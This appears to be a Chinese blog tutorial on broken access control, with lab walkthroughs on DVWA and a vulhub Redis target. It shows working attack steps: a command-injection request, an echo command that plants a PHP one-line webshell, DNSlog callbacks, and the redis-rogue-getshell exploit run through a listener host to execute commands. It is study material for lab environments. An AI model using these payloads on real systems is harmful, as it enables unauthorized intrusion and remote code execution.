• 失效的访问控制及漏洞复现


    失效的访问控制(越权)

    1. 失效的访问控制(越权)

    1.1 OWASP TOP10

    1.1.1 A5:2017-Broken Access Control

    未对通过身份验证的用户实施恰当的访问控制。攻击者可以利用这些缺陷访问未经授权的功能或数据,例如:访问其他用户的帐户、查看敏感文件、修改其他用户的数据、更改访问权限等。

    1.1.2 A01:2021-Broken Access Control

    访问控制强制实施策略,使用户无法在其预期权限之外进行操作。失败的访问控制通常会导致未经授权的信息泄露、修改或销毁所有数据、或在用户权限之外执行业务功能。

    1.2 失效的访问控制类别

    权限移动方向

    1.2.1 水平越权

    越权:大概率指的是在同级别账户之间横向移动,并且大概率指的是web应用

    1.2.2 垂直越权

    提权:大概率指的是操作系统漏洞提权,普通用户获取管理员权限

    1.3 攻防案例

    1.3.1 DVWA越权
    POST /dvwa_2.0.1/vulnerabilities/exec/source/low.php HTTP/1.1 Host: 192.168.111.15
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Referer: http://192.168.111.15/dvwa_2.0.1/vulnerabilities/exec/source/
    Connection: close
    Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0
    Content-Type: application/x-www-form-urlencoded Content-Length: 77
    
    ip=127.0.0.0.1|echo+""+>+shell.php&Submit=Submit
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    1.3.1.1 实操

    在部署了DVWA的服务器中打开C盘->打开phpstudy->打开WWW->打开DV,我们关心的是config(全局配置),hackable(在hackable中有flags<被包含的文件>,upload<上传的文件>),vulnerabilities(漏洞点)

    启动bp,打开浏览器访问DVWA,点击命令注入(Commod Injection) 进行命令注入,输入127.0.0.1

    使用bp进行抓包,抓取命令注入的数据包,发送重发器

    image-20230901162109602

    发现结果执行了ping命令,ping的是127.0.0.1,说明此处有命令拼接,可执行额外的命令。做命令拼接执行命令的逻辑

    command1 & command2		#执行command1命令没有问题的时候再执行command2
    command1 | command2		#管道符执行command1的结果作为command2的输入
    command1 || command2	#command1执行失败则执行command2,command1执行成功则不执行command2
    command1 ; command2		#command1执行结束再执行command2
    
    • 1
    • 2
    • 3
    • 4

    执行额外命令,使用&进行分隔因为原本数据包中已有&,那么进行命令分隔的&需要进行url编码,选中分隔命令的&按Ctrl+u

    image-20230901163917755

    image-20230901164127912

    点击发送(send)

    image-20230901164443041

    发现cookie中security的值是low,说明是初级的;承载初级的脚本在vulnerabilities下的exec中的source文件中

    image-20230901164829923

    打开low.php查看源代码,整个文件没有做访问控制限制,也就是说在退出登录的情况下依然能访问low.php。

    image-20230901165454976

    复制low.php的路径,退出DVWA登陆,访问

    http://192.168.16.136/dv/vulnerabilities/exec/source/low.php
    
    • 1

    image-20230901165817182

    界面为空,针对这个界面就可以进行命令执行。bp找到当前页面的数据包,发送重发器,点击发送(send),页面没有做任何响应。

    image-20230901170049576

    删除cookie并将数据提交方式改为POST(右键点击Change request method)同时传两个变量:ip=127.0.0.1%26whoami&Submit=Submit。首先给一个submit保证绕过low.php代码中的if判断,再给个IP就可以进行ping命令的拼接。但是数据包的响应无回显。

    image-20230901170843407

    返回的结果也无法判断命令执行成功与否,将whoami命令更换为calc(打开计算器),部署dvwa靶场的服务器中弹出计算器,说明命令执行成功。

    image-20230901171204916

    dvwa要求是需要用户登录的情况下才能回答dvwa里的题目,但是我们刚才的操作时不用登录就回答了dvwa里的题目,虽然没有回显,但是漏洞检测的时候只关心命令是否执行,只要命令执行了,不管有没有回显就说明此处就是未授权访问漏洞(失效的访问控制。)

    1.3.1.2 使用漏洞写webshell

    执行

    echo xujie >xujie.txt
    
    • 1

    image-20230901173405179

    来到/exec/source目录下,有新建的xujie.txt文件。

    image-20230901173600728

    image-20230901173650253

    一般在目标某一目录下新建文件,动作会比较大,使用dnslog.cn平台点击创建域名,对域名进行解析

    nslookup 域名
    
    • 1

    image-20230901174307134

    image-20230901174451215

    image-20230901174932455

    image-20230901175016716

    解析完成后查看dnslog.cn平台有没有解析记录,如果有解析记录说明nslookup执行成功了。

    创建一句话木马

    echo "$_REQUEST[777])?>" >shell.php
    
    • 1

    image-20230901175639502

    image-20230901175803008

    访问shell.php,然后使用蚁剑连接

    image-20230901180420500

    image-20230901180523715

    1.4 相关漏洞

    1.4.1 目录遍历

    目录穿越,目录遍历,Directory Traversal。.Web用户,通过某种方式,可以访问Web根目录以外的文件甚至执行系统命令。

    造成目录遍历漏洞的原因:

    • 文件包含
    • 文件读取
    • RCE
    1.4.2 未授权访问

    未授权访问,Unauthorized Access。==重要资产根本没有做访问控制限制,==导致黑客攻击者可以在没有授权的情况下操作重要资产,包括读写文件,执行命令等敏感操作。

    2. 未授权访问

    2.1 Redis 未授权访问

    不使用账号密码的情况下访问数据库,Redis 未授权:由于数据库未授权访问了,导致敏感数据泄露;数据库能够读写文件,利用未授权访问漏洞进行漏洞攻击的话就可以去写shell,创建SSH公钥,计划任务反弹shell;

    2.1.1 Redis 介绍

    Redis是非关系型数据库系统,没有库表列的逻辑结构,仅仅以键值对的方式存储数据。

    Redis数据库经常用于Web应用的缓存。

    Redis可以与文件系统进行交互。

    Redis监听TCP/6379

    Redis数据库端口号:6379

    2.1.2 Redis 简单使用

    Redis 未设置密码,客户端工具可以直接链接。

    ┌──(ajest�� zh-CN)-[~/vulhub/vulhub/redis/4-unacc]
    └─$ redis-cli -h 127.0.0.1 127.0.0.1:6379> set name AJEST OK
    127.0.0.1:6379> get name "AJEST"
    127.0.0.1:6379> config set dir /tmp/
    OK
    127.0.0.1:6379> config set dbfilename ajest.txt OK
    127.0.0.1:6379> save OK
    127.0.0.1:6379>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    2.1.3 Redis 未授权访问
    读取数据库内容读写系统文件执行系统命令
    数据泄露直接写WebShell
    计划任务反弹shell
    SSH免密登录
    redis-rogue-getshell

    2.2 Redis 实操

    2.2.1 环境搭建

    CD到/vulhub/redis/4-unacc目录下,输入

    sudo docker-compose up -d
    
    • 1

    打开Redis环境

    image-20230901194738297

    2.2.2 漏洞利用
    sudo docker ps -a
    
    • 1

    查看端口号

    image-20230901195308070

    输入

    redis-cli -h 127.0.0.1		#-h指定参数,连接本机的reids数据库
    
    • 1

    在没有账号密码的情况下直接连上了redis数据库。说明数据库存在未授权访问漏洞。

    image-20230901195442400

    redis数据库是以键值对进行存储数据的。就可以将redis数据库想象成一个超大的数组。redis数据库经常做缓存。

    config set dir /tmp/
    config set dbfilename xujie.txt		#将数据库存储在xujie.txt文件中,这个文件在tmp下
    
    • 1
    • 2

    image-20230901201448743

    因为连接的是docker容器的数据库,CD到容器中查看创建的数据库是否存在。

    sudo docker exec -it 9a4f956818dc /bin/bash		#-it是指容器的id,/bin/bash是指登录到9a4f956818dc这个容器
    
    • 1

    为了证明创建的数据库是否存在并且具有读写权限。

    ls /tmp
    cat /tmp/xujie.txt
    
    • 1
    • 2

    image-20230901201611494

    4-unacc存在主从复制漏洞,而主从复制是可以执行系统命令的,执行系统命令需要一个Exploit脚本

    image-20230901202645978

    cd tools
    proxychains git clone https://github.com/vulhub/redis-rogue-getshell.git
    
    • 1
    • 2

    image-20230901203715677

    cd redis-rogue-getshell
    cd RedisModulesSDK 
    make
    cd ..
    python3 redis-master.py -r 127.0.0.1 -p 6379 -L 192.168.16.175 -P 8888 -f RedisModulesSDK/exp.so -c "id"
    
    • 1
    • 2
    • 3
    • 4
    • 5

    image-20230901204950627

    python3 redis-master.py -r 127.0.0.1 -p 6379 -L 192.168.16.175 -P 8888 -f RedisModulesSDK/exp.so -c "whoami"
    
    • 1

    image-20230901205054316

    此处可以针对数据库的漏洞进行漏洞利用

    2.2.3 漏洞检测

    利用工具unauthorized用与检测未授权访问漏洞。一共提供了三十八种漏洞检测

    cd ~/tools
    ls 
    cd unauthorized_com 
    python3 unauthorized_com.py -i 127.0.0.1
    
    • 1
    • 2
    • 3
    • 4
  • 相关阅读:
    【JAVAEE基础学习(13)】--简述maven
    基于C++实现的游客信息管理系统
    VS Code画流程图:draw.io插件
    聊聊什么是分布式事务
    当添加一个键值对元素时,HashMap发生了什么?
    (附源码)spring boot教学管理平台 毕业设计 281454
    Redis数据结构:字符串
    pandas - 数据分组统计
    C++ 自定义函数(2)
    马尔科夫链、PCV及贝叶斯动图详解
  • 原文地址:https://blog.csdn.net/weixin_58954236/article/details/132678138